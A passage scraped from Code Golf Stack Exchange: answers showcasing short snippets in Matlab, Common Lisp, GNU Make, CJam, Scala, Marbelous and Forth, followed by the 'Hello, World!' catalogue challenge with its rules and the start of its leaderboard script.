a interpreted language it can be very slow for expensive projects, but you have built-in parallelization methods, and you can also use multiple computers together to run a program. But if you really wanna get fast I think you still depend on C or Fortran or crazy stuff like that. But still many implemented algorithms (matrix multiplication, solving systems of linear equations etc) are heavily optimized and perform quite well. But if you program the same algorithms in Matlab itself, you're gonna have to wait=) (Something really unintuitive when you come from other languages is that if you vectorize your operations instead of using for loops, you can save much time in Matlab.) \*\*You can sort of compile your programs, but that mainly converts the source code to an unreadable file (for humans), that is not that much faster when executed. [Answer] # Common Lisp Lisp (from LISt Processing) is one of the oldest languages still in use today (only FORTRAN is older). It is notable for being the first language where code is data and data is code; called homoiconicity. It was also the first language to have garbage collection. Originally designed by John McCarthy in a 1958 paper as an entirely theoretical language, it became a real language when Steve Russel realized that the eval function could be implemented on a computer. It's most prevalent in Artificial Intelligence, and is instantly recognizable from its preponderance of parentheses. Common Lisp was designed to unify many of the older Lisp dialects into a more standardized form. I'll be trying for every snippet to be runnable on it's own, though not necessarily do anything of value. Additionally, because I'm using Common Lisp, the fundamental concepts and a lot of the syntax apply in other dialects, but certain functions won't work in, say, Scheme. ### Length 1 ``` * ``` Because of the emphasis on the use of S-Expressions and lists for coding, there're very few valid expressions in Lisp that don't contain parentheses, called atoms. Anything typed directly into the REPL (read-eval-print loop) is treated as a variable and evaluated as such. `*` holds the previous value that was printed by the REPL. ### Length 2 ``` () ``` This is the empty list, one of the most important symbols in Lisp. Every proper list in Lisp is terminated with an empty list, similar to how every proper string in C ends with `\0`. ### Length 3 ``` (*) ``` This is a basic function call, which consists of a symbol wrapped in parentheses. Lisp doesn't contain operators, they're just functions too. I picked multiplication specifically because it's not actually a binary function; the multiplication operator in Lisp takes an indefinite number of arguments. If it is given no arguments it returns `1`, the identity operator for multiplication. ### Length 4 ``` `(1) ``` This is a cons cell, which is just another way of saying it's a pair of elements. In Lisp, each list consists of cons cells connected to cons cells, where the first element (the `car`) is the value and the second element (the `cdr`) points to the next cons cell. This forms the basis of Lisp being based upon linked lists. This particular cons cell has `1` as the car and the empty list as its cdr. ### Length 7 ``` (not t) ``` I want to touch on truth values in Lisp. This would return `nil`. In Common Lisp, `t` is the symbol for true while `nil` and `()` represent false and are equal to each other, but note that this definition isn't standard for all Lisp dialects; Scheme, for example, distinguishes between `#f` for false and `'()` for the empty list. ### Length 9 ``` (cdr ()) ``` As I said before, the cdr is the tail element of a list, which you can get with the function `cdr`. Likewise, you can get the head element, the car, with the function `car`. Pretty simple, right? The car and cdr of the empty list are both `nil`. ### Length 10 ``` (cons 1 2) ``` Finally, enough length to start working with lists. `cons` creates a cons cell with the first parameter as the car and the second as the cdr. But instead of printing out `(1 2)`, it gives `(1 . 2)`. Going back to the length 2 snippet, a proper list is supposed to end with the empty list, so the cdr of the last cons cell should point to the empty list. In this case, the last cons cell points to `2`, so Lisp informs us that we have an improper list, but still allows us to do it, like how you can make a C-string without a `\0`. ### Length 11 ``` (cons 1 ()) ``` Now we have created our first properly formed list. It's a single cons cell with a car of `1` and a cdr of `()`. You'll notice that for every other list, I lead it with a backquote/tick; any other proper list would attempt to evaluate its first argument as a function with the remaining elements as parameters. Strictly speaking, `()` isn't a list though; it's a symbol composed of a `(` and a `)` that represents the empty list. Lisp allows you to use almost any printable character in a symbol name and will let you redefine any symbol as you want to. ### Length 12 ``` (cdr `(1 2)) ``` This would output `(2)`, not `2` as some people would guess. Remember, each cdr is supposed to point to either another cons cell or the empty list; obviously `2` isn't the empty list, so it must be another cons cell the a car of `2` and a cdr of `()`. ### Length 13 ``` '#1=(1 . #1#) ``` This would produce a circular list with just the single value 1. If printed, it would print ‚Äú(1 1 1 1 ...‚Äù forever, so that in practice it can be considered an infinite list (on which you can do `cdr` infinite times to obtain always the same result, itself!). Unless one assigns `T` to the global variable `*print-circle*`, in which case it will be printed as `#1=(1 . #1#)`. [Answer] # GNU Make I'll go out on a limb on this one. I think this may well be the first time that `make` has been featured in PPCG. ### Factoid [Make may be considered to be a functional language.](http://okmij.org/ftp/Computation/Computation.html#Makefile-functional) ### Length 0 snippet I don't think length 0 snippets are required, but here is one anyway. I think this might be the most useful of all length 0 programs. With an empty Makefile (or even no makefile at all), make still has a bunch of built-in rules. E.g. there are default built-in rules to compile a .c file into a .o or binary, given the .c file exists in the current directory. So if we do: ``` make hello.o ``` make will find the .c to .o rule and compile hello.c to give hello.o Similarly if we do: ``` make goodbye ``` If there is a goodbye.c file in the current directory it will be compiled into the goodbye binary. ### Length 1 Snippet `TAB` Yes, the TAB character. While this doesn't do much on its own, it has great significance in Make. Specifically all recipe lines following a target definition in a rule MUST start with a TAB. This causes all sorts of frustrations when debugging makefiles when TABs and spaces get mixed up. ### Length 2 Snippet ``` $@ ``` This is an automatic variable for use in recipes. It will expand to the filename of the target of the rule. There are [other useful automatic variables](https://www.gnu.org/software/make/manual/make.html#Automatic-Variables). ### Length 3 Snippet ``` a:= ``` Shortest simply expanded variable assignment. The variable a is set to "" immediately when the Makefile is first parsed. If instead we do `a=`, then the assignment is recursively expanded, i.e. expansion is deferred until the time the variable is actually referenced. ### Length 4 Snippet ``` W:;w ``` Shortest marginally useful complete rule specification. This defines a target `W` with a rule that simply runs the `w` shell command. Thus ``` make W ``` is equivalent to: ``` w ``` This is an alternative rule syntax in that the recipe follows the target on the same line separated by a new line. More commonly the recipe lines immediately follow a separate target line, with `TAB` characters starting each recipe line. ### Length 5 Snippet ``` $(@D) ``` Another automatic variable. Similar to `$@`, but this expands to the directory portion of path, with the filename and trailing / removed. [Answer] # CJam [Try the below snippets here](http://cjam.aditsu.net/) **Length 20 snippet:** ``` q~{]__~z\z<=\~*0>*}* ``` [A min-mod calculator](https://codegolf.stackexchange.com/a/42081/31414). An excerpt from the question : > > The **minmod** function is a variant of the familiar **min**, which appears in slope-limiting high-resolution schemes for partial differential equations. Given a number of slopes, it picks out the flattest slope, while taking care of relative signs between the slopes. > > > The function takes an arbitrary number of parameters. Then *minmod(x1, x2, ..., xn)* is defined as: > > > * *min(x1, x2, ..., xn)*, if all xi are strictly positive > * *max(x1, x2, ..., xn)*, if all xi are strictly negative > * *0*, otherwise. > > > **Length 18 snippet:** ``` l'[,65>Dm>_el+_$er ``` A ROT13 encoder. Shifts only `a-zA-Z` characters from the input string via STDIN **Length 15 snippet:** ``` T1{_2$+}ri2-*]p ``` A full program to print the first `N` numbers from a Fibonacci series where `N` is provided as an input via STDIN. **Length 12 snippet:** ``` {{_@\%}h;}:G ``` A simple GCD function. This can be used like `2706 410 G` to get the GCD on stack. **Length 11 snippet:** ``` 123456 789# ``` `#` is the power operator. This snippet shows a cool feature of CJam that it supports BigInts for almost all mathematical operations. So the output of the above code is ``` 1596346205622537943703716803040694151242100030904924074732295184521676912291137885341977590649991707684635184329980991487148618486236239062505001539322685142817506810040361209550544146292158784625519911512640361780862459268161619223326802388689703997604303632605734938879647069477372395799326590488746599202521617640394227957532720581758771344616555153473551874187964029973716015080326283503474062024803237072761129557356772954771383125420283743787215768524095651476398918270831514362626616089349128838080859262141293069421199363839940462244772673481244848208112002212957221705577938865719802035511067875502253218277834350725436729497351901219311577128600087062378434520948898301738545267825952998284599001356281260973911216650526574435975050678439968995805415462116669892745933523276658479456263859786003695570642598885206779863730608803831608206418317758451327165760242416052588688579435998154295782751455020445483571514197850814391880423853968520336337963918534259580183058727377932419280412466915889059399591196961188841001024998633317094826403760131868252088477018937989608302521450181593409274231460335072324865982559395114735391976545471553525054490202974741119144469523879456646833238659929705233941114530149037245274032070536718197592615630616792756562341411027203615235147973615347081993563361626845258162606172599728677944001956482301240050182368840648532697569098833480384074404562991348377266778603059081932412368912313845464302833428950934701568958836851009236647605585910687215977468114323293396641238344799575626940766355697576957869656153567798618227770961980620119004224798449940378878601283741944503399682599666873704888519152796472231721010884561046439019823540214190109829183178504573391524533915085342799888899681052113605127068137552531204917650779012455136663716975904242872042805633443567570913936237754642040107392687168596924804730637819953463737212774674563401663682370631910559669378413063684132477269578881395521544729393136204246705936061735379354437327940116154383441927197123218522827575163913310005036963663583344508839784971260123709283218409462028161021477446586507813599051643059982983426688872855309396405653159417356549291603532443699350168178837164682957610433456205211423600319694496115159970718912091395232327389520091646132878609779171226748990343349416763319432268713023302555895744813731889452605219001900815755497209921418814092923394321459962373890912709775151652200071533644718727513889263907829300496554849544461628702471995210369421320165755673222520834013956492183306187393652197405863508709529644837118590847002900783148394313160749018413291215958936871830666201928218294362550829287373305552379418641499562597137520153409556227576809855521876196531587454478159211299517511047868125975115347272184123454929507976958328038242400918390689757262398695703472270927183494613959476164389143107240083171566284628032072645081703351075328092783401422849512230275075331561337345714881104575020436358133210849231625973013523497330004645467493618279226202227586584610761439335895760888873155403816627190368675397978355381544497413492223577022267403347927237298551052219150516984577176643706356698282552857754120841266435149587248192704898338826251727748499150285409036076919533685800933215325289882260771526293167171975367192287689881199864600661035143522211647660445960687046757311913589429739868592726372013684511683081229044622752191694278221303073075505531920922815724661725685493922212700535444400760813940151761980008355835574184921854364539924999643954874549857103642483664109073938527328920827803218865362851320233433429604394590974694396314165313743853607609394553133883545319222169958204731303672940856293527174545435349105954532301106962634516087237739490953930886293289854731305112253177512851251930821765454042415085420000484369355605183062368648992392499663861508991984554431113080399485470268940148600970493633737364443822752829774334511729579419931500217970224646496435527826186627011323464848141074486509849545954714213290443775688291020289759390171236344528896 ``` **Length 10 snippet:** ``` "`%W_"_W%` ``` We've already done quine, lets reverse it!. This is one of the shortest reverse quine in CJam. Reverse quine is a quine which prints its sources code in reverse order. **Length 9 snippet:** ``` 5,K,+_&S* ``` This snippet showcases a lot of features of CJam, ``` 5, "create an array of numbers 0 to 4" K, "create an array of numbers 0 to 19" + "List concatination" _ "Duplicate top stack element" & "Set distinct operator in this case" S* "Join array elements with space character" ``` **Length 8 snippet:** ``` "`_~"`_~ ``` One of the smallest possible quines in CJam. This is a true quine in a sense that it does not actually read the source code in any manner. (Reading the source code is not even possible in CJam) **Length 7 snippet:** ``` "AB"_m* ``` `m*` creates all the Cartesian products of the top two stack elements. For instance, the above code will put `["AA" "AB" "BA" "BB"]` on stack, which is the cartesian product of `"AB"` and `"AB"`. **Length 6 snippet:** ``` "_~"_~ ``` A nice looking repeated code. DO NOT run this :) . This representation of code is the basis for the simplest quine in CJam. You put string `"_~"` on stack, make a copy (`_`) and evaluate it. Which in turns does the same thing again (and again ..) until you reach maximum recursion exception. **Length 5 snippet:** ``` {A}:F ``` This is how a basic function works in CJam, The above expression assigns the code block `{A}` to variable `F`. Now in your code, you can put `F` anywhere to run the code block (and get `10` in this case) **Length 4 snippet:** ``` "A"~ ``` You can evaluate any code block or string or even a single character using `~`. The above expression results to `10` **Length 3 snippet:** ``` Kmr ``` A typical random number generator from range 0 to `K` i.e. 20. **Length 2 snippet:** ``` es ``` This gives the current timestamp (milliseconds from the epoch). CJam also has `et` for local time in a more usable format which returns an array comprising of the various parts of the current time ( day, hour etc). **Length 1 snippet:** ``` A ``` CJam has almost all capital alphabets as predefined variables. `A` is 10, `B` is 11 and till `K` is 20. `P` is `pi (3.141592653589793)`, `N` is new line and [many others](http://sourceforge.net/p/cjam/wiki/Variables/). These can come very handy when you need initial values in variables, or even when you need two digit number in 1 byte. **Factoid** CJam is inspired by GolfScript but builds a lot of features on top of it including support for a network GET call :D PS: I will try to update the answer every 5 upvotes or every 2 hours (which ever is earlier) [Answer] # Scala Scala is a JVM-based, statically-typed (mostly), hybrid functional/object-oriented language, with type inference, higher kinded types, and generics. **Factoid**: Scala started with the man behind Java generics and a lot of the Java compiler, Martin Odersky. ## 1 ### Snippet `;` ### Explanation There isn't much need for semicolons in Scala (unlike its cousin, Java), but they can still be found in some places, such as `for` statements (also known as "`for` comprehensions"). For example: ``` for (i <- 0 to 10; a <- 0 to 10 ) yield (i, a) ``` Will return a list going something like (0, 0), (0, 1)... (1, 9), (2, 0)... (10, 10). ## 2 ### Snippet `()` ### Explanation Scala's `Unit` type has only one value: `()`. Used like Java or C's `void`. Don't be fooled, though: it's not an empty tuple! This type is mostly returned from functions with side effects, to distinguish them from the purely functional ones. In Scala, *every* function *must* return a value. If they don't, they implicitly return `()`. ## 3 ### Snippet `???` ### Explanation An operator which just throws NotImplementedError. Luckily, thanks to Scala's powerful type system, it can be put in any unimplemented function and still be typesafe: ``` def notImplemented: Int = ??? def foo: String = ??? ``` One of the best parts of Scala is that there's very little baked-in as compiler magic, and you can write most of the builtins yourself. Operators are simply functions with names that contain symbols - `???` itself can be defined as: ``` def ???: Nothing = throw new NotImplementedError("an implementation is missing"); ``` ## 4 ### Snippet `None` ### Explanation While Scala does have `null` as part of the language (as an unfortunate holdover from Java), it also has a pre-made option type, called `Option[T]`. If an optional value isn't there, its value is `None`. If a value is optional, make it an `Option`, and you won't ever have a `NullPointerException`. You can also implement Option yourself, like so: ``` sealed trait Option[+T] case class Some[T](value: T) extends Option[T] case object None extends Option[Nothing] ``` ## 5 ### Snippet `(1,2)` ### Explanation A 2-tuple (a pair) of integers, 1 and 2. Especially useful for returning multiple values from functions, as well as pattern matching. Observe: ``` def printPoint(p: (Int, Int)) = p match { case (x, y) => println("X coordinate: " + x + ", Y coordinate: " + y) } printPoint((1,2)) // prints "X coordinate: 1, Y coordinate: 2" ``` ## 6 ### Snippet `()=>()` ### Explanation An anonymous function. As a functional language, Scala has first-class language support for anonymous functions. To dissect this snippet, it's a function which: `()` - Takes no parameters, `=>` - And returns... `()` - Unit! ## 7 ### Snippet `s""""""` ### Explanation The empty string... with a twist. If you begin and end a string with triple-quotes, you can include unescaped characters inside. For example: ``` """ """ ``` Is equivalent to: ``` "\n" ``` Also, a string beginning with `s` can have interpolated values in it. For example: ``` val num = 10 val str = s"There are $num nums" // str == "There are 10 nums" ``` It gets better though: with braces, you can put expressions inside! ``` val str = s"2 + 2 == ${2 + 2}." // str == "2 + 2 == 4." ``` ## 8 ### Snippet `Future{}` ### Explanation **Futures** are things that will happen or be computed... sometime later. Scala has a lot of different models of concurrency that are each useful in their own way (like the Akka framework), and `Future`s are one of them. `Future{}` computes `()`. Pretty useless, but if I have something really expensive to do, like compute 2 + 2 and multiply that by 5, they're pretty handy: ``` Future {2 + 2} map {_ * 5) ``` They're also great for I/O. Admittedly, you have to do a couple of imports for this, but they're in the standard library. ## 10 ### Snippet ``` type N=Int ``` ### Explanation This is a type variable called `N`, which refers to the type `Int`. You could now write: ``` val num: N = 1 ``` And it would work. Addendum: I said type "variable", but these can't vary during runtime. You can use these for some nifty type-level programming like the Heterogeneous List, or HList, which is a List that contain several different types of elements while still being typesafe. If you're interested, watch Daniel Spiewak's "High Wizardry in the Land of Scala": <http://vimeo.com/28793245>. ## 16 ### Snippet ``` implicit val a=1 ``` ### Explanation Have you ever used a heavyweight dependency injection framework like Guice or Spring? If so, you know that dependency injection is (in essence) supplying objects with their dependencies at construction, so that they can stay loosely coupled. The issue with doing this the easy way is that constructor signatures quickly grow out of control when you start to build large dependency graphs. To fix that, you bring in a DI framework, and soon after, your project has 50k lines of XML. :-( Now for a seemingly unrelated question: have you ever needed to call a series of functions, all sharing a few parameters? Has that ever become so cluttered that you added an extra class, just to put the parameters in one place? **Implicits** give you a way to inject a value of a particular type in a particular scope into a function call. This way, functions can ask for a value without you needing to explicitly provide it. It's filled in automatically! One of the best parts, and the reason this relates to DI, is that constructors also work with implicits. You can create huge parameter lists in your constructors to keep them loosely coupled, but users of your classes will never have to supply all of the parameters manually (but they can, if they want). This particular snippet creates an implicit value of type `Int` in the current scope, with the value of `1`. If any function calls require an implicit `Int`, they'll automatically be fed `1`. ## 17 ### Snippet ``` ({type I[T]=T})#I ``` ### Explanation This is a type lambda (in this case acting like an identity function for types). It's a combination of a type member (mentioned above) (`type I[T]` declares a type constructor `I` taking a type parameter `T` ), a structural type (everything between the braces denotes a type), and a type projection (`#I` accesses the member `I` of the structural type in braces). In Scala 3, this can be expressed much more nicely as `[T] =>> T`. ## 18 ### Snippet ``` list.reduce(_ ^ _) ``` ### Explanation Underscores have [various uses](https://stackoverflow.com/q/8000903) in Scala. Here, we can use them to define a trivial function more concisely. The `_ ^ _` is really shorthand for `(a, b) => a ^ b`. The snippet reduces a list of what may be integers by XOR-ing them. `reduce` is just one of the many useful methods in the standard library. There are many others, such as `map`, `heads`, `distinct`, `groupBy`. [Answer] # Marbelous ## Length 14 snippet ``` }0}1 Mulx HxHx ``` This snippet shows off some more of Marbelous libraries and introduces a new concept, namely, multi-cell boards. The `Mulx` board takes two marbles as input and outputs 2 marbles. Marbles that enter the leftmost cell of the `Mulx` will correspond to the `}0` devices in that board and the rightmost cell to `}1`. Analogously, the outputs will come out of different cells as well. The width of a board can be calculated as `MAX(1, highest output device + 1, highest input device + 1)` cells that don't correspond to an input device will trash any marble that falls upon them. ## Length 13 snippet ``` 7E ?? >Y!! {0 ``` This is a board that will spit out a random printable ascii character on each tick. Marbelous has two ways of generating random values. There is `??` which returns a random value between 0 and the input marble it receives, inclusive, and `?n`: `?0` up to `?Z` respectively. Which act very similar to `??`. We also have `!!` which terminates the board even if not all outputs are filled. Can you figure out how the `?n` devices could be implemented as boards in Marbelous using `??`? ## Length 12 snippet ``` }0}1 Fb// Dp ``` Here we see a few library functions of Marbelous in action. `Fb` outputs the nth fibonacci number where n is the input marble. `Dp` prints the input marble to STDOUT as a decimal number. These are both implemented in Marbelous and can be called upon when you check include libraries in [the online interpreter](https://codegolf.stackexchange.com/questions/40073/making-future-posts-runnable-online-with-stack-snippets/40808#40808), for the python interpreter, you have to explicitely include each file. The inplementation of these boards can be found [on github](https://github.com/marbelous-lang). Note that this particular program takes 2 inputs and will call the Fibonacci board two times. Boards that are called are return within one tick of the board that called them. ## Length 11 snippet ``` }0}0 {<{0{> ``` This one needs some explanation. The `}0` devices are imputs, since they have the same number (0), they will contain the same value when this board gets called. The three devices on the lower row are outputs. `{<` outputs to the left of the board, `{0` outputs underneath the first cell of the board and `{>` outputs to the right. Output is only pushed when all distinct output devices are filled. In this case however, the right output device is never reached. The board will exit because of lack of activity and output the two values it has anyway. Can you imagine how one could implement `/\` as a Marbelous board? ## Length 10 snippet ``` ..40 FF \\ ``` There's a few things that play an important role in Marbelous here. Firstly, there's addition. If you trace the path of the two marbles on the board, you'll notice that they'll end up on the same cell at the same time. When this happens, they'll be added together. (fun fact: at some point it was considered that instead of being added together, the marbles should form a stack) However, Marbelous is an 8 bit language, So adding a marble to `FF` is equivalent to subtracting 1 from it. ## Length 9 snippet ``` 00 \\/\]] ``` This is the shortest way to implement a rudimentary version of cat in Marbelous. 00 \/\ Is a loop that puts a `00`value marble on the `]]` device every second tick. This is an STDIN device. When a marble lands on this device, it tries to read the first character from STDIN, if there is one, it gets pushed down (and in this case printed again). If there isn't one, The original amrble gets pushed to the right. (and in this case trashed) ## Length 8 snippet ``` }0 ~~ {0 ``` This snippet shows a few features. Firstly it takes input through }0. In this case this is the Main Board and this will be replaced by the command line input. You can also call this function, in that case, the argument will be taken instead of the command line input. Then there's `~~`, which is a bitwise not operator. After that, we get to `}0`, If all `}n` devices are filled, these values are returned as the functions return values. (Marbelous supports more than one return value per function) ## Length 7 snippet ``` 00 \\/\ ``` This is the most compact infinite loop you can create in Marbelous. The `\\` device pushes any marble to the right, `/\` copies a marble and pushes one copy to the left and another to the right. Since the board is only two cells wide, the marble to the right gets trashed though. ## Length 6 snippet ``` 46MB75 ``` Here's an example of recursion, `MB` (the implicitly named main board gets called on every tick, but not before Printing `Fu` to STDOUT on each call. (Resulting in the following: `FuFuFuFuFuFu...` This obviously overflows the callstack. ## Length 5 snippet ``` 2A ++ ``` Some arithmetic, The marble with value `2A` falls down on teh first tick and the finds itself on the `++` cell. This is an operator. This particular operator increments any marble that land on it and lets it fall down. The marble now has value `2B` and falls off the board. This prints `+` to STDOUT. ## Length 4 snippet ``` : 24 ``` The two interpreters disagree here, I've given the first board of the file a name in this example (The name is an empty string). The python interpreter assumes this is the Main board and calls this board upon running the program (which prints `$`). The javascript interpreter doesn't find the Main Board and thus no entry point. This can be useful when writing a library file for Marbelous. ## Length 3 snippet ``` :Bo ``` This is a named board, with no body, we can call this board by Writing `Bo` in a cell of any board (including `Bo` itself) ## Length 2 snippet ``` 3A ``` This code is the body of a 1x1 cell (each cell is two characters wide) board, implicitly named `MB` (for Main Board). It prints the ascii value of the hexadecimal value of `3A` when the marble falls off the board. The output of this program just so happens to be the source code of: ## Length 1 snippet ``` : ``` Along with `#`, this is one of the two the only valid 1 character programs in marbelous. `#` is an indicator of a comment an therefor not very interesting. `:` tells marbelous that you're about to declare a board. Neither of teh two compilers care that you don't actually name or define the board. The program doesn't do anything. ## factoid: Marbelous was developed by people on this site, some names that were in the running for this language were *Rube* and simply *Marbles*. [Answer] # Forth Forth has only two types, ints and floats (and the floats are optional!) but it still manages to have chars, strings, long long ints, pointers, function pointers, structs, and more; it's all in how you use it! ## Length 1 `.` The `.` command (or "word" as we call it) prints out the integer value on top of the data stack; if the stack is empty, you get a runtime error. It also remove the value from the stack ‚Äî upvote to see how we can keep it! ## Length 2 `.s` The `.s` word displays the values currently on the stack, without removing any of them. It also displays the total number of values. In Gforth, `.s` is limited by default to only showing the top 9 values; maybe we'll find out how to show more? ## Length 3 `see` Type `see` followed by any Forth word to see that word's source code. Most Forth words are defined in Forth itself, and only a few primitives are defined in assembly. ## Length 4 `1 0=` Did I mention that Forth is a stack-based language with postfix operators? Typing `1 0=` pushes `1` onto the stack and then executes the `0=` word, which pops the top value off the stack and pushes `true` if it equals 0, `false` if it doesn't. `0=` is a convenience word for `0 =`; there are several shorthand words like it for common value+word combinations, like `1+` and `0<>`. Moreover, while `false` in Forth is 0 and any nonzero value is true, the built-in test words return `true` for true results, and `true` goes all the way ‚Äî it's the value with all bits set, i.e., `-1`! ## Length 5 `-1 u.` Push `-1` onto the stack, then pop it off and print it as an unsigned integer. This can be used to quickly see the maximum value for an unsigned int on your version of Forth (but not the maximum integral value that it natively supports!). You may be asking, "How do we know when an int should be printed with `.` and when with `u.`?" Answer: `.` when it's signed, `u.` when unsigned. "That's not what I meant," you say. "How do we know when the value on top of the stack is signed and when it's unsigned?" Answer: You're the programmer ‚Äî that's your job! You have to know whether each integer on the stack represents an int, an unsigned int, an `int*`, a `char*`, a function pointer, or other, or else you get the demons in your nose. Forth's not going to keep track of that for you; what is this, C? ## Length 6 `." Hi"` Prints `Hi`. `."` is a Forth word (which, like all Forth words, must be followed by whitespace or EOF) that reads the input stream up through the next `"` and prints out any bytes in between. If you put more than one space after the `."`, all but the space immediately after the `."` will be printed. Escape sequences are not supported (so you can't print a string with a `"` in it with `."`), but Gforth adds [`.\"`](http://www.complang.tuwien.ac.at/forth/gforth/Docs-html/Displaying-characters-and-strings.html#index-g_t_002e_005c_0022-_0040var_007b-compilation-_0027ccc_0022_0027-_002d_002d-_003b-run_002dtime-_002d_002d---_007d--gforth-2013) to the language, which does support them. ## Length 7 `: + - ;` You define your own words in Forth by writing a colon, the name of the word, the words that you want your word to execute, and a semicolon. A word can be any sequence of non-whitespace characters (whitespace is how Forth tells where one word ends and another begins, after all), even punctuation, and even operators (which are just words, after all). The above snippet redefines `+` to mean `-`, so now whenever you try to add, you subtract instead. Any pre-existing words that use `+` are unaffected, as they store a reference to the original definition of `+`. Note: Some words do different things inside definitions of other words than they do outside, but other than control structures, they're all pretty esoteric. Most words do the same thing inside a definition as outside, but sometimes that thing isn't obvious ‚Äî `: show-see see see ;` won't do what you think! ## Length 8 `: 42 - ;` When I said a word could be any sequence of whitespace characters, I meant *any* sequence. No, Forth does not have a word for each individual number; numbers are just a little special. When Forth encounters a non-whitespace sequence, it first sees if it's a known word; if it's not, it tries to parse it as a number; if that fails, only then do you get an error. Defining a word that's spelled the same as a number means that you won't be able to enter that spelling of the number directly anymore without getting the word instead, but [Gforth and various other Forths give you multiple ways to spell numbers anyway](https://www.complang.tuwien.ac.at/forth/gforth/Docs-html/Number-Conversion.html). ## Length 9 `IF 1 THEN` *Finally*, something familiar! Obviously, this code tests whether its argument `1` is true and, if so, executes whatever's after the `THEN`, right? Wrong. When execution reaches the `IF`, the value on top of the stack is popped off, and if *that* value is true (i.e., nonzero), execution continues with whatever's inside the `IF ... THEN` and then whatever's after the `THEN`; if the value is zero, we just skip straight to after `THEN`. Note that, due to how these words are implemented internally (which is in terms of other Forth words!), `IF` and `THEN` can only be used inside a word definition, not in "interpret state." ## Length 12 `( x y -- y )` This is a comment. It goes from the `(` to the next `)` immediately after it. (In the interpreter, a newline can also end it.) This is not "built in" to Forth's syntax (Is anything?); `(` is just another word, one that discards everything in the input stream up through the next `)`. (That's right ‚Äî Forth can manipulate how its source code is read. Perl's not the only language that can't be parsed without executing it!) Since it's a word, you have to follow it with a space, or else Forth will complain that `(x` is undefined. We can also redefine `(` as part of our ongoing campaign of shooting ourselves in the foot. The comment's content is more interesting, however. This comment specifices the *stack effect* for some word; the part to the left of the `--` lists what should be on the top of the stack before you run the word (the top is on the right), and the right side of the `--` describes what the top of the stack will look like afterwards (again, the top is on the right). Common convention is to add such a comment to the source of any word you define, right after the `: name` bit, and there is also a very strong convention about [naming stack elements to indicate their type](http://www.complang.tuwien.ac.at/forth/gforth/Docs-html/Notation.html#index-types-of-stack-items-171) that is even followed by [the standard](https://www.taygeta.com/forth/dpans.html). Incidentally, the stack effect shown is for the `nip` word. You should be able to tell what it does just from the comment. ## Length 13 `1 2 3 4 d+ d.` As previously indicated, a Forth value's type is all in how you use it ‚Äî if you treat a value as a pointer, it's a pointer, and if that value's not a *good* pointer, it's your fault for treating it as one. However, regardless of what type you're treating a value as, it will always take up one cell on the data stack; the exceptions are *double cell* or *double precision integers*. These are integers that are represented by two values on the stack, allowing you to perform arithmetic with twice as many bits as usual. The more significant or higher-bit cell is placed on top of the less significant or lower-bit one, so that `1 0` is the double cell representation of `1`, and `0 1` is either 2^32 or 2^64, depending on how big your Forth's regular cells are. Naturally, in order to treat a double-cell value as such, we need to use words that explicitly operate on double-cell values; these are generally just `d` (or `ud` for unsigned) followed by the name of the corresponding single-cell word: `d+` for addition, `d<` for comparison, `d.` for printing, etc. ]
[Question] [ So... uh... this is a bit embarrassing. But we don't have a plain "Hello, World!" challenge yet (despite having 35 variants tagged with [hello-world](/questions/tagged/hello-world "show questions tagged 'hello-world'"), and counting). While this is not the most interesting code golf in the common languages, finding the shortest solution in certain esolangs can be a serious challenge. For instance, to my knowledge it is not known whether the shortest possible Brainfuck solution has been found yet. Furthermore, while all of ~~[Wikipedia](https://en.wikipedia.org/wiki/List_of_Hello_world_program_examples)~~ (the Wikipedia entry [has been deleted](https://en.wikipedia.org/wiki/Wikipedia:Articles_for_deletion/List_of_Hello_world_program_examples) but there is a [copy at archive.org](https://web.archive.org/web/20150411170140/https://en.wikipedia.org/wiki/List_of_Hello_world_program_examples) ), [esolangs](https://esolangs.org/wiki/Hello_world_program_in_esoteric_languages) and [Rosetta Code](https://rosettacode.org/wiki/Hello_world/Text) have lists of "Hello, World!" programs, none of these are interested in having the shortest for each language (there is also [this GitHub repository](https://github.com/leachim6/hello-world)). If we want to be a significant site in the code golf community, I think we should try and create the ultimate catalogue of shortest "Hello, World!" programs (similar to how our [basic quine challenge](https://codegolf.stackexchange.com/q/69/8478) contains some of the shortest known quines in various languages). So let's do this! ## The Rules * Each submission must be a full program. * The program must take no input, and print `Hello, World!` to STDOUT (this exact byte stream, including capitalization and punctuation) plus an optional trailing newline, and nothing else. * The program must not write anything to STDERR. * If anyone wants to abuse this by creating a language where the empty program prints `Hello, World!`, then congrats, they just paved the way for a very boring answer. Note that there must be an interpreter so the submission can be tested. It is allowed (and even encouraged) to write this interpreter yourself for a previously unimplemented language. * Submissions are scored in *bytes*, in an appropriate (pre-existing) encoding, usually (but not necessarily) UTF-8. Some languages, like [Folders](https://esolangs.org/wiki/Folders), are a bit tricky to score - if in doubt, please ask on [Meta](https://meta.codegolf.stackexchange.com/). * This is not about finding *the* language with the shortest "Hello, World!" program. This is about finding the shortest "Hello, World!" program in every language. Therefore, I will not mark any answer as "accepted". * If your language of choice is a trivial variant of another (potentially more popular) language which already has an answer (think BASIC or SQL dialects, Unix shells or trivial Brainfuck-derivatives like Alphuck), consider adding a note to the existing answer that the same or a very similar solution is also the shortest in the other language. As a side note, please *don't* downvote boring (but valid) answers in languages where there is not much to golf - these are still useful to this question as it tries to compile a catalogue as complete as possible. However, *do* primarily upvote answers in languages where the authors actually had to put effort into golfing the code. For inspiration, check [the Hello World Collection](https://helloworldcollection.github.io/). ## The Catalogue The Stack Snippet at the bottom of this post generates the catalogue from the answers a) as a list of shortest solution per language and b) as an overall leaderboard. To make sure that your answer shows up, please start your answer with a headline, using the following Markdown template: ``` ## Language Name, N bytes ``` where `N` is the size of your submission. If you improve your score, you *can* keep old scores in the headline, by striking them through. For instance: ``` ## Ruby, <s>104</s> <s>101</s> 96 bytes ``` If there you want to include multiple numbers in your header (e.g. because your score is the sum of two files or you want to list interpreter flag penalties separately), make sure that the actual score is the *last* number in the header: ``` ## Perl, 43 + 2 (-p flag) = 45 bytes ``` You can also make the language name a link which will then show up in the snippet: ``` ## [><>](https://esolangs.org/wiki/Fish), 121 bytes ``` ``` /* Configuration */ var QUESTION_ID = 55422; // Obtain this from the url // It will be like https://XYZ.stackexchange.com/questions/QUESTION_ID/... on any question page var ANSWER_FILTER = "!t)IWYnsLAZle2tQ3KqrVveCRJfxcRLe"; var COMMENT_FILTER = "!)Q2B_A2kjfAiU78X(md6BoYk"; var OVERRIDE_USER = 8478; // This should be the user ID of the challenge author. /* App */ var answers = [], answers_hash, answer_ids, answer_page = 1, more_answers = true, comment_page; function answersUrl(index) { return "https://api.stackexchange.com/2.2/questions/" + QUESTION_ID + "/answers?page=" + index + "&pagesize=100&order=desc&sort=creation&site=codegolf&filter=" + 